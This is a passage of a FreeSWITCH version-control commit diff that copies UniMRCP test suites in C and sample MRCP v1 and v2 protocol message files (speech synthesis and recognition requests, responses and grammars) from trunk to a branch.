+	if(version == MRCP_VERSION_1) {
+		resource_name_read(file,parser);
+	}
+
+	apt_text_stream_init(&stream,buffer,sizeof(buffer)-1);
+	do {
+		/* init length of the stream */
+		stream.text.length = sizeof(buffer)-1;
+		/* calculate offset remaining from the previous receive / if any */
+		offset = stream.pos - stream.text.buf;
+		/* calculate available length */
+		length = stream.text.length - offset;
+
+		if(apr_file_read(file,stream.pos,&length) != APR_SUCCESS) {
+			break;
+		}
+		/* calculate actual length of the stream */
+		stream.text.length = offset + length;
+		stream.pos[length] = '\0';
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Parse MRCP Stream [%lu bytes]\n%s",length,stream.pos);
+		
+		/* reset pos */
+		stream.pos = stream.text.buf;
+		mrcp_stream_walk(parser,&stream,mrcp_message_handler,generator);
+	}
+	while(apr_file_eof(file) != APR_EOF);
+
+	apr_file_close(file);
+	return TRUE;
+}
+
+static apt_bool_t test_dir_process(apt_test_suite_t *suite, mrcp_resource_factory_t *factory, mrcp_version_e version)
+{
+	apr_status_t rv;
+	apr_dir_t *dir;
+
+	const char *dir_name = "v2";
+	if(version == MRCP_VERSION_1) {
+		dir_name = "v1";
+	}
+	if(apr_dir_open(&dir,dir_name,suite->pool) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot Open Directory [%s]",dir_name);
+		return FALSE;
+	}
+
+	do {
+		apr_finfo_t finfo;
+		rv = apr_dir_read(&finfo,APR_FINFO_DIRENT,dir);
+		if(rv == APR_SUCCESS) {
+			if(finfo.filetype == APR_REG && finfo.name) {
+				char *file_path;
+				apr_filepath_merge(&file_path,dir_name,finfo.name,0,suite->pool);
+				test_file_process(suite,factory,version,file_path);
+				printf("\nPress ENTER to continue\n");
+				getchar();
+			}
+		}
+	} 
+	while(rv == APR_SUCCESS);
+
+	apr_dir_close(dir);
+	return TRUE;
+}
+
+static apt_bool_t parse_gen_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	mrcp_resource_factory_t *factory = mrcp_default_factory_create(suite->pool);
+	if(!factory) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Resource Factory");
+		return FALSE;
+	}
+
+	test_dir_process(suite,factory,MRCP_VERSION_2);
+	test_dir_process(suite,factory,MRCP_VERSION_1);
+
+	mrcp_resource_factory_destroy(factory);
+	return TRUE;
+}
+
+apt_test_suite_t* parse_gen_test_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"parse-gen",NULL,parse_gen_test_run);
+	return suite;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/set_get_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/set_get_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/src/set_get_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/set_get_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/set_get_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,309 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_log.h"
+/* common includes */
+#include "mrcp_default_factory.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+/* synthesizer includes */
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_resource.h"
+/* recognizer includes */
+#include "mrcp_recog_header.h"
+#include "mrcp_recog_resource.h"
+
+#define SAMPLE_VOICE_AGE 28
+#define SAMPLE_CONTENT_TYPE "application/synthesis+ssml"
+#define SAMPLE_CONTENT_ID "123456"
+#define SAMPLE_CONTENT "SSML content goes here"
+#define SAMPLE_PARAM_NAME "SampleParamName"
+#define SAMPLE_PARAM_VALUE "SampleParamValue"
+
+/* Create SPEAK request */
+static mrcp_message_t* speak_request_create(mrcp_resource_factory_t *factory, apr_pool_t *pool)
+{
+	mrcp_message_t *message;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create SPEAK Request");
+	message = mrcp_request_create(MRCP_SYNTHESIZER_RESOURCE,SYNTHESIZER_SPEAK,pool);
+	mrcp_message_resourcify_by_id(factory,message);
+	if(message) {
+		mrcp_generic_header_t *generic_header;
+		mrcp_synth_header_t *synth_header;
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(message);
+		if(generic_header) {
+			/* set generic header fields */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Content-Type: %s",SAMPLE_CONTENT_TYPE);
+			apt_string_assign(&generic_header->content_type,SAMPLE_CONTENT_TYPE,message->pool);
+			mrcp_generic_header_property_add(message,GENERIC_HEADER_CONTENT_TYPE);
+		}
+		/* get/allocate synthesizer header */
+		synth_header = mrcp_resource_header_prepare(message);
+		if(synth_header) {
+			/* set synthesizer header fields */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Voice-Age: %d",SAMPLE_VOICE_AGE);
+			synth_header->voice_param.age = SAMPLE_VOICE_AGE;
+			mrcp_resource_header_property_add(message,SYNTHESIZER_HEADER_VOICE_AGE);
+		}
+		/* set message body */
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Body: %s",SAMPLE_CONTENT);
+		apt_string_assign(&message->body,SAMPLE_CONTENT,message->pool);
+	}
+	return message;
+}
+
+/* Test SPEAK request */
+static apt_bool_t speak_request_test(mrcp_resource_factory_t *factory, mrcp_message_t *message)
+{
+	apt_bool_t res;
+	mrcp_generic_header_t *generic_header;
+	mrcp_synth_header_t *synth_header;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Test SPEAK Request");
+	res = FALSE;
+	/* get generic header */
+	generic_header = mrcp_generic_header_get(message);
+	if(generic_header) {
+		/* test content type header */
+		if(mrcp_generic_header_property_check(message,GENERIC_HEADER_CONTENT_TYPE) == TRUE) {
+			if(strncasecmp(generic_header->content_type.buf,SAMPLE_CONTENT_TYPE,generic_header->content_type.length) == 0) {
+				/* OK */
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Get Content-Type: %s",generic_header->content_type.buf);
+				res = TRUE;
+			}
+		}
+	}
+	if(res == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Test Generic Header");
+		return FALSE;
+	}
+
+	res = FALSE;
+	/* get synthesizer header */
+	synth_header = mrcp_resource_header_get(message);
+	if(synth_header) {
+		/* test voice age header */
+		if(mrcp_resource_header_property_check(message,SYNTHESIZER_HEADER_VOICE_AGE) == TRUE) {
+			if(synth_header->voice_param.age == SAMPLE_VOICE_AGE) {
+				/* OK */
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Get Voice-Age: %d",synth_header->voice_param.age);
+				res = TRUE;
+			}
+		}
+	}
+	if(res == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Test Synthesizer Header");
+		return FALSE;
+	}
+	
+	if(strncasecmp(message->body.buf,SAMPLE_CONTENT,message->body.length) != 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Test Message Body");
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Get Body: %s",message->body.buf);
+	return TRUE;
+}
+
+/* Create SPEAK response */
+static mrcp_message_t* speak_response_create(mrcp_resource_factory_t *factory, const mrcp_message_t *request)
+{
+	mrcp_message_t *response;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create SPEAK Response");
+	response = mrcp_response_create(request,request->pool);
+	if(response) {
+		/* set IN-PROGRESS state */
+		response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	}
+	return response;
+}
+
+/* Create SPEAK-COMPLETE event */
+static mrcp_message_t* speak_event_create(mrcp_resource_factory_t *factory, const mrcp_message_t *request)
+{
+	mrcp_message_t *event_message;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create SPEAK-COMPLETE Event");
+	event_message = mrcp_event_create(request,SYNTHESIZER_SPEAK_COMPLETE,request->pool);
+	if(event_message) {
+		/* get/allocate synthesizer header */
+		mrcp_synth_header_t *synth_header = mrcp_resource_header_prepare(event_message);
+		if(synth_header) {
+			/* set completion cause */
+			synth_header->completion_cause = SYNTHESIZER_COMPLETION_CAUSE_NORMAL;
+			mrcp_resource_header_property_add(event_message,SYNTHESIZER_HEADER_COMPLETION_CAUSE);
+		}
+		/* set request state */
+		event_message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+	}
+	return event_message;
+}
+
+
+/* Create GET-PARAMS request */
+static mrcp_message_t* get_params_request_create(mrcp_resource_factory_t *factory, apr_pool_t *pool)
+{
+	mrcp_message_t *message;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create GET-PARAMS Request");
+	message = mrcp_request_create(MRCP_SYNTHESIZER_RESOURCE,SYNTHESIZER_GET_PARAMS,pool);
+	mrcp_message_resourcify_by_id(factory,message);
+	if(message) {
+		apt_str_t param_name;
+		apt_str_t param_value;
+		mrcp_generic_header_t *generic_header;
+		mrcp_synth_header_t *synth_header;
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(message);
+		if(generic_header) {
+			/* set content id empty header */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Content-ID: <empty>");
+			mrcp_generic_header_name_property_add(message,GENERIC_HEADER_CONTENT_ID);
+			
+			/* set vendor specific params header */
+			generic_header->vendor_specific_params = apt_pair_array_create(1,pool);
+			apt_string_set(&param_name,SAMPLE_PARAM_NAME);
+			apt_string_reset(&param_value);
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Vendor-Specific-Params: %s",param_name.buf);
+			apt_pair_array_append(generic_header->vendor_specific_params,&param_name,&param_value,pool);
+			mrcp_generic_header_property_add(message,GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
+		}
+		/* get/allocate synthesizer header */
+		synth_header = mrcp_resource_header_prepare(message);
+		if(synth_header) {
+			/* set voice age empty header */
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Voice-Age: <empty>");
+			mrcp_resource_header_name_property_add(message,SYNTHESIZER_HEADER_VOICE_AGE);
+		}
+	}
+	return message;
+}
+
+/* Create GET-PARAMS response */
+static mrcp_message_t* get_params_response_create(mrcp_resource_factory_t *factory, mrcp_message_t *request)
+{
+	apt_bool_t res;
+	mrcp_message_t *response;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create GET-PARAMS Response");
+	response = mrcp_response_create(request,request->pool);
+	if(response) {
+		mrcp_generic_header_t *generic_header;
+		mrcp_synth_header_t *synth_header;
+		res = FALSE;
+		/* get generic header */
+		generic_header = mrcp_generic_header_get(request);
+		if(generic_header) {
+			mrcp_generic_header_t *res_generic_header = mrcp_generic_header_prepare(response);
+			/* test content id header */
+			if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_ID) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Content-ID: %s",SAMPLE_CONTENT_ID);
+				apt_string_assign(&res_generic_header->content_id,SAMPLE_CONTENT_ID,response->pool);
+				mrcp_generic_header_property_add(response,GENERIC_HEADER_CONTENT_ID);
+				res = TRUE;
+			}
+			/* test vendor specific header */
+			if(mrcp_generic_header_property_check(request,GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS) == TRUE) {
+				apt_str_t name;
+				const apt_pair_t *pair;
+				res_generic_header->vendor_specific_params = apt_pair_array_create(1,response->pool);
+				apt_string_set(&name,SAMPLE_PARAM_NAME);
+				pair = apt_pair_array_find(generic_header->vendor_specific_params,&name);
+				if(pair) {
+					apt_str_t value;
+					apt_string_set(&value,SAMPLE_PARAM_VALUE);
+					apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Vendor-Specific-Params: %s=%s",name.buf,value.buf);
+					apt_pair_array_append(res_generic_header->vendor_specific_params,&name,&value,response->pool);
+				}
+				mrcp_generic_header_property_add(response,GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
+				res = TRUE;
+			}
+		}
+
+		if(res == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Test Generic Header");
+			return NULL;
+		}	
+
+		res = FALSE;
+		/* get synthesizer header */
+		synth_header = mrcp_resource_header_get(request);
+		if(synth_header) {
+			mrcp_synth_header_t *res_synth_header = mrcp_resource_header_prepare(response);
+			/* test voice age header */
+			if(mrcp_resource_header_property_check(request,SYNTHESIZER_HEADER_VOICE_AGE) == TRUE) {
+				res_synth_header->voice_param.age = SAMPLE_VOICE_AGE;
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set Voice-Age: %d",res_synth_header->voice_param.age);
+				mrcp_resource_header_property_add(response,SYNTHESIZER_HEADER_VOICE_AGE);
+				res = TRUE;
+			}
+		}
+		if(res == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Test Synthesizer Header");
+			return NULL;
+		}
+	
+	}
+	return response;
+}
+
+
+
+
+static apt_bool_t speak_test_run(apt_test_suite_t *suite, mrcp_resource_factory_t *factory)
+{
+	mrcp_message_t *message = speak_request_create(factory,suite->pool);
+	if(!message) {
+		return FALSE;
+	}
+	
+	if(speak_request_test(factory,message) != TRUE) {
+		return FALSE;
+	}
+
+	speak_response_create(factory,message);
+	speak_event_create(factory,message);
+	return TRUE;
+}
+
+static apt_bool_t get_params_test_run(apt_test_suite_t *suite, mrcp_resource_factory_t *factory)
+{
+	mrcp_message_t *message = get_params_request_create(factory,suite->pool);
+	if(!message) {
+		return FALSE;
+	}
+
+	get_params_response_create(factory,message);
+	return TRUE;
+}
+
+static apt_bool_t set_get_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	mrcp_resource_factory_t *factory = mrcp_default_factory_create(suite->pool);
+	if(!factory) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Resource Factory");
+		return FALSE;
+	}
+
+	speak_test_run(suite,factory);
+	get_params_test_run(suite,factory);
+	
+	mrcp_resource_factory_destroy(factory);
+	return TRUE;
+}
+
+apt_test_suite_t* set_get_test_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"set-gen",NULL,set_get_test_run);
+	return suite;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1 (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/definegrammar.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/definegrammar.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/definegrammar.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/definegrammar.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/definegrammar.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+//speechrecog
+DEFINE-GRAMMAR 543257 MRCP/1.0
+Content-Type:application/grammar+xml
+Content-Id:request1@form-level.store
+Content-Length:309
+
+<?xml version="1.0"?>
+
+<!-- the default grammar language is US English -->
+<grammar xml:lang="en-US" version="1.0">
+
+<!-- single language attachment to tokens -->
+<rule id="yes">
+    <one-of>
+        <item xml:lang="fr-CA">oui</item>
+        <item xml:lang="en-US">yes</item>
+     </one-of>
+</rule>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/getparams.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/getparams.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/getparams.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/getparams.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/getparams.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+//speechsynth
+GET-PARAMS 543256 MRCP/1.0
+Voice-gender:
+Voice-variant:
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/multi.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/multi.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/multi.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/multi.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/multi.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+//speechsynth
+GET-PARAMS 543256 MRCP/1.0
+Voice-gender:
+Voice-variant:
+
+SET-PARAMS 543256 MRCP/1.0
+Voice-gender:female
+Voice-variant:3
+
+SPEAK 543257 MRCP/1.0
+Kill-On-Barge-In:false
+Voice-gender:neutral
+Prosody-volume:medium
+Content-Type:application/synthesis+ssml
+Content-Length:412
+
+<?xml version="1.0"?>
+<speak>
+<paragraph>
+       <sentence>You have 4 new messages.</sentence>
+       <sentence>The first is from <say-as type="name">Stephanie Williams</say-as> 
+       <mark name="Stephanie"/> and arrived at <break/>
+       <say-as type="time">3:45pm</say-as>.</sentence>
+       
+       <sentence>The subject is <prosody rate="-20%">ski trip</prosody></sentence>
+</paragraph>
+</speak>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/pause.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/pause.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/pause.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/pause.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/pause.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+//speechsynth
+PAUSE 543258 MRCP/1.0
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognitioncomplete.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognitioncomplete.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/recognitioncomplete.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognitioncomplete.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognitioncomplete.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+//speechrecog
+RECOGNITION-COMPLETE 543257 COMPLETE MRCP/1.0
+Completion-Cause:000 success
+Waveform-URL:http://web.media.com/session123/audio.wav
+Content-Type:application/x-nlsml
+Content-Length:446
+
+  <?xml version="1.0"?>
+  <result x-model="http://IdentityModel"
+    xmlns:xf="http://www.w3.org/2000/xforms"
+    grammar="session:request1@form-level.store">
+      <interpretation>
+          <xf:instance name="Person">
+              <Person>
+                  <Name> Andre Roy </Name>
+              </Person>
+          </xf:instance>
+                    <input>   may I speak to Andre Roy </input>
+      </interpretation>
+  </result>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognize.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognize.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/recognize.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognize.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/recognize.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+//speechrecog
+RECOGNIZE 543257 MRCP/1.0
+Confidence-Threshold:90
+Content-Type:application/grammar+xml
+Content-Id:request1@form-level.store
+Content-Length:608
+
+<?xml version="1.0"?>
+
+<!-- the default grammar language is US English -->
+<grammar xml:lang="en-US" version="1.0">
+
+<!-- single language attachment to tokens -->
+   <rule id="yes">
+       <one-of>
+                <item xml:lang="fr-CA">oui</item>
+                <item xml:lang="en-US">yes</item>
+       </one-of>
+   </rule>
+
+<!-- single language attachment to a rule expansion -->
+   <rule id="request">
+       may I speak to
+       <one-of xml:lang="fr-CA">
+                <item>Michel Tremblay</item>
+                <item>Andre Roy</item>
+       </one-of>
+   </rule>
+
+</grammar>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/response.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/response.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/response.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/response.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/response.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+//speechsynth
+MRCP/1.0 543257 200 IN-PROGRESS
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/resume.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/resume.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/resume.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/resume.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/resume.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+//speechsynth
+RESUME 543260 MRCP/1.0
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/setparams.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/setparams.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/setparams.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/setparams.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/setparams.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+//speechsynth
+SET-PARAMS 543256 MRCP/1.0
+Voice-gender:female
+Voice-variant:3
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speak.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speak.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/speak.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speak.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speak.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+//speechsynth
+SPEAK 543257 MRCP/1.0
+Kill-On-Barge-In:false
+Voice-gender:neutral
+Prosody-volume:medium
+Content-Type:application/synthesis+ssml
+Content-Length:412
+
+<?xml version="1.0"?>
+<speak>
+<paragraph>
+       <sentence>You have 4 new messages.</sentence>
+       <sentence>The first is from <say-as type="name">Stephanie Williams</say-as> 
+       <mark name="Stephanie"/> and arrived at <break/>
+       <say-as type="time">3:45pm</say-as>.</sentence>
+       
+       <sentence>The subject is <prosody rate="-20%">ski trip</prosody></sentence>
+</paragraph>
+</speak>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speakcomplete.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speakcomplete.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/speakcomplete.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speakcomplete.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/speakcomplete.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+//speechsynth
+SPEAK-COMPLETE 543260 COMPLETE MRCP/1.0
+Completion-Cause:000 normal
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/stop.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/stop.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v1/stop.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/stop.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v1/stop.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+//speechsynth
+STOP 543258 MRCP/1.0
+

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2 (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/definegrammar.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/definegrammar.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/definegrammar.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/definegrammar.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/definegrammar.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+MRCP/2.0 865 DEFINE-GRAMMAR 543257
+Channel-Identifier:32AECB23433801@speechrecog
+Content-Type:application/srgs+xml
+Content-ID:<request1@form-level.store>
+Content-Length:685
+
+<?xml version="1.0"?>
+
+<!-- the default grammar language is US English -->
+<grammar xmlns="http://www.w3.org/2001/06/grammar"
+        xml:lang="en-US" version="1.0">
+
+<!-- single language attachment to tokens -->
+	<rule id="yes">
+           <one-of>
+                 <item xml:lang="fr-CA">oui</item>
+                 <item xml:lang="en-US">yes</item>
+           </one-of>
+     </rule>
+
+<!-- single language attachment to a rule expansion -->
+     <rule id="request">
+           may I speak to
+           <one-of xml:lang="fr-CA">
+                 <item>Michel Tremblay</item>
+                 <item>Andre Roy</item>
+           </one-of>
+     </rule>
+
+</grammar>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/getparams.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/getparams.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/getparams.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/getparams.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/getparams.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+MRCP/2.0 112 GET-PARAMS 543256
+Channel-Identifier:32AECB23433802@speechsynth
+Voice-gender:
+Voice-variant:
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognitioncomplete.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognitioncomplete.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/recognitioncomplete.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognitioncomplete.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognitioncomplete.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+MRCP/2.0 616 RECOGNITION-COMPLETE 543257 COMPLETE
+Channel-Identifier:32AECB23433801@speechrecog
+Completion-Cause:000 success
+Waveform-URI:<http://web.media.com/session123/audio.wav>;size=342456;duration=25435
+Content-Type:application/nlsml+xml
+Content-Length:430
+
+<?xml version="1.0"?>
+<result xmlns="http://www.ietf.org/xml/ns/mrcpv2"
+       xmlns:ex="http://www.example.com/example"
+       grammar="session:request1@form-level.store">
+   <interpretation>
+       <instance name="Person">
+           <ex:Person>
+               <ex:Name> Andre Roy </ex:Name>
+           </ex:Person>
+       </instance>
+       <input>   may I speak to Andre Roy </input>
+   </interpretation>
+</result>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognize.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognize.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/recognize.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognize.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/recognize.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+MRCP/2.0 903 RECOGNIZE 543257
+Channel-Identifier:32AECB23433801@speechrecog
+Confidence-Threshold:0.9
+Content-Type:application/srgs+xml
+Content-ID:<request1@form-level.store>
+Content-Length:702
+
+<?xml version="1.0"?>
+
+<!-- the default grammar language is US English -->
+<grammar xmlns="http://www.w3.org/2001/06/grammar"
+        xml:lang="en-US" version="1.0" root="request">
+
+<!-- single language attachment to tokens -->
+     <rule id="yes">
+           <one-of>
